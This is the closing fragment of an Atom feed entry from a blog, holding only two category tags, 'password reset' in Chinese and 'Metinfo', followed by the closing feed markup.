<category term="密码重置" scheme="http://blog.rookiehacker.org/tags/%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE/"/>
<category term="Metinfo" scheme="http://blog.rookiehacker.org/tags/Metinfo/"/>
</entry>
</feed>